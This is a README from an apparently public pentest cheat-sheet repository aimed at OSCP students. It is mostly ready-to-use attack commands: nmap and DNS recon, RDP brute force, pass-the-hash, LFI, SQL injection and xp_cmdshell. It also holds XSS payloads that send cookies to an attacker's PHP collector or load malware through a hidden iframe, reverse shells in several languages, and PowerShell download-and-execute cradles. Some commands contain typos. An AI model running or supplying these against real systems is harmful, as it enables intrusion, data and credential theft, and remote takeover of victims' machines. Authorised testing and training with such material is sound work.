Kitsun3Sec/Pentest-Cheat-Sheets Kitsun3Sec/Pentest-Cheat-Sheets

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Kitsun3Sec/Pentest-Cheat-Sheets
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Kitsun3Sec

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Repository Details

A collection of snippets of codes and commands to make your life easier!

Pentest Cheat Sheets

Pentest-Cheat-Sheets

This repo has a collection of snippets of codes and commands to help our lives! The main purpose is not be a crutch, this is a way to do not waste our precious time! This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit Framework.

Ninja Tricks

Recon

DNS

Nslookup

Resolve a given hostname to the corresponding IP.

nslookup targetorganization.com

Reverse DNS lookup

nslookup -type=PTR IP_address

MX(Mail Exchange) lookup

nslookup -type=MX domain

Zone Transfer

Using nslookup Command

nslookup
server domain.com
ls -d domain.com

Using HOST Command

host -t ns(Name Server) < domain >

host -t ns domain.com

after that test nameservers

host -l < domain > < nameserver >

host -l domain.com ns2.domain.com

Nmap Dns Enumaration

nmap -F --dns-server <dns server ip> <target ip range>

Auto tools

DNSenum

dnsenum targetdomain.com

dnsenum --target_domain_subs.txt -v -f dns.txt -u a -r targetdomain.com

DNSmap

targetdomain.com
dnsmap targetdomain.com -w <Wordlst file.txt>

Brute Force, the file is saved in /tmp

dnsmap targetdomain.com -r

DNSRecon DNS Brute Force

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Fierce.pl

fierce -dns targetdomain.com

HostMap

hostmap.rb -only-passive -t <IP>

We can use -with-zonetransfer or -bruteforce-level

SPF Recon

Dig SPF txt

dig txt target.com

Dmarc

dig TXT _dmarc.example.org

Online Tools

Nmap

Set the ip address as a varible

export ip=192.168.1.100 export netw=192.168.1.0/24

Detecting Live Hosts

Only Ip's

nmap -sn -n $netw | grep for | cut -d" " -f5

Stealth Scan

nmap -sS $ip

Only Open Ports and Banner Grab

nmap -n -Pn -sS $ip --open -sV

Stealth scan using FIN Scan

map -sF $ip

Agressive scan

Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports

nmap -n -Pn -sS -A $ip --open -p-

Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, traceroute and scripts against services

nmap –v –sS –A –T4 $ip

OS FigerPrint

nmap -O $ip

Quick Scan

nmap -T4 -F $netw

Quick Scan Plus

nmap -sV -T4 -O -F --version-light $netw

output to a file

nmap -oN nameFile -p 1-65535 -sV -sS -A -T4 $ip

output to a file Plus

nmap -oA nameFile -p 1-65535 -sV -sS -A -T4 $netw

Search NMAP scripts

ls /usr/share/nmap/scripts/ | grep ftp

NetCat

Port Scanner

One port

nc -nvz 192.168.1.23 80

Port Range

nc -vnz 192.168.1.23 0-1000

Send files

  • Server
nc -lvp 1234 > file_name_to_save
  • Client
nc -vn 192.168.1.33 1234 < file_to_send

Executing remote script

  • Server
nc -lvp 1234 -e ping.sh <IP>
  • Client
nc -vn 192.168.1.33 1234

Chat with encryption

  • Server
ncat -nlvp 8000 --ssl
  • Client
ncat -nv 192.168.1.33 8000

Banner Grabbing

  • Request
nc target port
HTTP_Verb path http/version
Host: url
  • Response
nc www.bla.com.br 80
HEAD / HTTP/1.0
Host: www.bla.com.br

If this site uses https you need to use openssl

penssl s_client -quiet www.bla.com.br:443

SNMP

Fixing SNMP output

apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.conf

OneSixtyone

onesixtyone -c COMMUNITY_FILE -i Target_ip

onesixtyone -c community.txt -i Found_ips.txt

snmpwalk

Walking MIB's

snmpwalk -c COMMUNITY -v VERSION target_ip

snmpwalk -c public -v1 192.168.25.77

specific MIB node snmpwalk -c community -v version Target IP MIB Node Example: USER ACCOUNTS = 1.3.6.1.4.1.77.1.2.25

snmpwalk -c public -v1 192.168.25.77 1.3.6.1.4.1.77.1.2.25

snmp-check

snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY

snmp-check -t 172.20.10.5
snmp-check -t 172.20.10.5 -c public

Automate the username enumeration process for SNMPv3

apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

NMAP SNMPv3 Enumeration

nmap -sV -p 161 --script=snmp-info 172.20.10.0/24

Default Credentials

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

MYSQL

Try remote default Root access

Mysql Open to wild

mysql -h Target_ip -u root -p

MSSQL

MSQL Information Gathering

nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip

Web Enumeration

Dirsearch

dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old
dirsearch -u target.com -e sh,txt,htm,php,cgi,html,pl,bak,old -w path/to/wordlist
dirsearch -u https://target.com -e .

dirb

dirb http://target.com /path/to/wordlist
dirb http://target.com /path/to/wordlist -X .sh,.txt,.htm,.php,.cgi,.html,.pl,.bak,.old

Gobuster

gobuster -u https://target.com -w /usr/share/wordlists/dirb/big.txt

Exploitation

System Network

RDP

xfreerdp

Simple User Enumeration for Windows Target (kerberos based)

xfreerdp /v:<target_ip> -sec-nla /u:""

xfreerdp /v:192.168.0.32 -sec-nla /u:""

login

xfreerdp /u: /g: /p: /v:<target_ip>

xfreerdp /u:administrator /g:grandbussiness /p:bla /v:192.168.1.34

Wordlist based bruteforce

NCRACK

ncrack -vv --user/-U <username/username_wordlist> --pass/-P <password/password_wordlist> <target_ip>:3389

ncrack -vv --user user -P wordlist.txt 192.168.0.32:3389

Crowbar

crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s <target_ip>/32 -v

crowbar -b rdp -u user -C password_wordlist -s 192.168.0.16/32 -v

Pass the hash

Smb pass the hash

Tool:

pth-toolkit

Listing shared folders

sudo pth-smbclient --user= --pw-nt-hash -m smb3 -L <target_ip> \\<target_ip>\ 

sudo pth-smbclient --user=user --pw-nt-hash -m smb3  -L 192.168.0.24 \\\\192.168.0.24\\ ljahdçjkhadkahdkjahsdlkjahsdlkhadklad

Interactive smb shell

sudo pth-smbclient --user= --pw-nt-hash -m smb3 \\<target_ip>\shared_folder 

sudo pth-smbclient --user=user --pw-nt-hash -m smb3 \\\\192.168.0.24\\folder ljahdçjkhadkahdkjahsdlkjahsdlkhadklad

Web Application

Web Remote code

LFI (Local File Inclusion)

Situation

http://<target>/index.php?parameter=value

How to Test

http://<target>/index.php?parameter=php://filter/convert.base64-encode/resource=index

http://<target>/script.php?page=../../../../../../../../etc/passwd


http://<target>/script.php?page=../../../../../../../../boot.ini

LFI Payloads

encode

XSS

Reflected

Simple test

This is a simple test to see what happens, this is not a prove that the field is vuln to xss

<plaintext>

Simple XSS test

<script>alert('Found')</script>
"><script>alert(Found)</script>">
<script>alert(String.fromCharCode(88,83,83))</script>

Bypass filter of tag script

" onload="alert(String.fromCharCode(88,83,83))

" onload="alert('XSS')

bla is not a valid image, so this cause an error

<img src='bla' onerror=alert("XSS")>

Persistent

>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>HACKED!</h1></div>";

PHP collector

> cookie.txt chmod 777 cookie.txt

edit a php page like colector.php as follow:

<?php
  $cookie=GET['cookie'];
  $useragent=$_SERVER['HTTP_USER_AGENT'];
  $file=fopen('cookie.txt', 'a');
  fwrite($file,"USER AGENT:$useragent || COOKIE=$cookie\n");
  fclose($file);
?>

Script to put in page:

<scritp>new Image().src="http://OUR_SERVER_IP/colector.php?cookie="+document.cookie;</script>

Malware Donwloader via XSS

<iframe src="http://OUR_SERVER_IP/OUR_MALWARE" height="0" width="0"></iframe>

How to play Mario with XSS

<iframe src="https://jcw87.github.io/c2-smb1/" width="100%" height="600"></iframe>
<input onfocus="document.body.innerHTML=atob('PGlmcmFtZSBzcmM9Imh0dHBzOi8vamN3ODcuZ2l0aHViLmlvL2MyLXNtYjEvIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2MDAiPjwvaWZyYW1lPg==')" autofocus>

XSS payloads

SQLI

Sql Injection

Sqlmap

GET

Error-Based

Simple test

Adding a simpe quote '

Example:

http://192.168.1.104/Less-1/?id=5'

List databases

./sqlmap.py -u http://localhost/Less-1/?id=1 --dbs

List tables

./sqlmap.py -u http://localhost/Less-1/?id=1 -D database_name --tables

List columns

./sqlmap.py -u http://localhost/Less-1/?id=1 -D database_name -T table_name --columns

Dump all

./sqlmap.py -u http://localhost/Less-1/?id=1 -D database_name -T table_name --dump-all

Set Cookie

./sqlmap.py -u http://target/ovidentia/index.php\?tg\=delegat\&idx\=mem\&id\=1 --cookie "Cookie: OV1364928461=6kb5jvu7f6lg93qlo3vl9111f8" --random-agent --risk 3 --level 5 --dbms=mysql -p id --dbs

Checking Privileges

./sqlmap.py -u http://localhost/Less-1/?id=1 --privileges | grep FILE

Reading file

./sqlmap.py -u <URL> --file-read=<file to read>
./sqlmap.py -u http://localhost/Less-1/?id=1 --file-read=/etc/passwd

Writing file

./sqlmap.py -u <url> --file-write=<file> --file-dest=<path>

./sqlmap.py -u http://localhost/Less-1/?id=1 --file-write=shell.php --file-dest=/var/www/html/shell-php.php

POST

./sqlmap.py -u <POST-URL> --data="<POST-paramters> "
./sqlmap.py -u http://localhost/Less-11/ --data "uname=teste&passwd=&submit=Submit" -p uname

You can also use a file like with the post request:

./sqlmap.py -r post-request.txt -p uname

Bare Hands

GET

Error-Based

Simple test

Adding a simpe quote '

Example:

http://192.168.1.104/Less-1/?id=5'

Fuzzing

Sorting columns to find maximum column

http://192.168.1.104/Less-1/?id=-1 order by 1

http://192.168.1.104/Less-1/?id=-1 order by 2

http://192.168.1.104/Less-1/?id=-1 order by 3

(until it stop returning errors)

Finding what column is injectable

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, 3

(using the same amount of columns you got on the previous step)

postgresql

http://192.168.1.104/Less-1/?id=-1 union select NULL, NULL, NULL

(using the same amount of columns you got on the previous step)

one of the columns will be printed with the respective number

Finding version

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, version()

postgres

http://192.168.1.104/Less-1/?id=-1 union select NULL, NULL, version()

Finding database name

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1,2, database()

postgres

http://192.168.1.104/Less-1/?id=-1 union select NULL,NULL, database()

Finding usernames logged in

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, current_user()

Finding databases

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, schema_name from information_schema.schemata

postgres

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, datname from pg_database

Finding table names from a database

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"

postgres

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"

Finding column names from a table

mysql

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename"

postgres

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"

Concatenate

Example:

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, login from users; http://192.168.1.104/Less-1/?id=-1 union select 1, 2, password from users;

in one query

http://192.168.1.104/Less-1/?id=-1 union select 1, 2, concat(login,':',password) from users; mysql http://192.168.1.104/Less-1/?id=-1 union select 1, 2, login||':'||password from users; postgres

Error Based SQLI (USUALLY MS-SQL)

Current user

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096)))--

DBMS version

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--

Database name

http://192.168.1.104/Less-1/?id=-1 or db_name(0)=0 --

Tables from a database

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U')--

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('previouslyFoundTable',...))--

Columns within a table

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--

remember to change dbname and tablename accordingly with the given situation after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('previously found column name', ...))--

Actual data

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename)--

after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample

http://192.168.1.104/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--

Shell commands

EXEC master..xp_cmdshell <command>

you need yo be 'sa' user

Enabling shell commands

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;

Jenkins

Post Exploitation

Reverse Shell

PHP Reverse Shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Tiny Reverse Shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.36.167/1337 0>&1'");

Perl Reverse Shell

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Bash Reverse Shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Powershell Reverse Shell

Create a simple powershell script called reverse.ps1:

function reverse_powershell {
    $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
}
powershell -ExecutionPolicy bypass -command "Import-Module reverse.ps1; reverse_powershell"

Java Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Xterm Reverse Shell

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Linux

Windows

Transferring Files Without Metasploit

Powershell

Download files with powershell

powershell -c "Invoke-WebRequest -uri 'http://Your-IP:Your-Port/winPEAS.bat' -OutFile 'C:\Windows\Temp\winPEAS.bat'"
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"

Creating a server with python3

python -m http.server

Creating a server with python2

python -m SimpleHTTPServer 80

FTP

You need to create a FTP server

  • Server Linux Allow anonymous
python -m pyftpdlib -p 21 -u anonymous -P anonymous
  • Windows Client
ftp
open target_ip port
open 192.168.1.22 21

we can simply run ftp -s:ftp_commands.txt and we can download a file with no user interaction.

like this:

C:\Users\kitsunesec\Desktop>echo open 10.9.122.8>ftp_commands.txt  
C:\Users\kitsunesec\Desktop>echo anonymous>>ftp_commands.txt  
C:\Users\kitsunesec\Desktop>echo whatever>>ftp_commands.txt
C:\Users\kitsunesec\Desktop>ftp -s:ftp_commands.txt

Apache Server

  • server Put your files into /var/www/html
cp nc.exe /var/www/html
systemctl start apache2
  • client

Get via web browser, wget or powershell...

Windows Pivoting

Openssh for Tunneling

Once you got SYSTEM on the target machine. download: openssh_for_windows

powershell -command "Expand-Archive 'C:\<path-to-zipped-openssh>\openssh.zip' c:\<path-to-where-you-whereever-you-want\"

Then install it:

powershell -ExecutionPolicy Bypass -File c:\<path-to-unzipped-openssh-folder>\install-sshd.ps1

Now if you need, just adjust the firewall rules to your needs:

powershell -Command "New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22"

Start the sshd service:

net start sshd

After these steps a regular ssh tunnel would sufice:

From your linux machine:

$ ssh -ACv -D <tunnel_port> <windows-user>@<windows-ip>

done you have now a socks to tunnel through!!

Resources

HTTP/HTTPS Servers

HTTPS using Python

Create the Certificate:

openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

Start the HTTPS Server

import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()

Wordlists

Contribution

HOW TO

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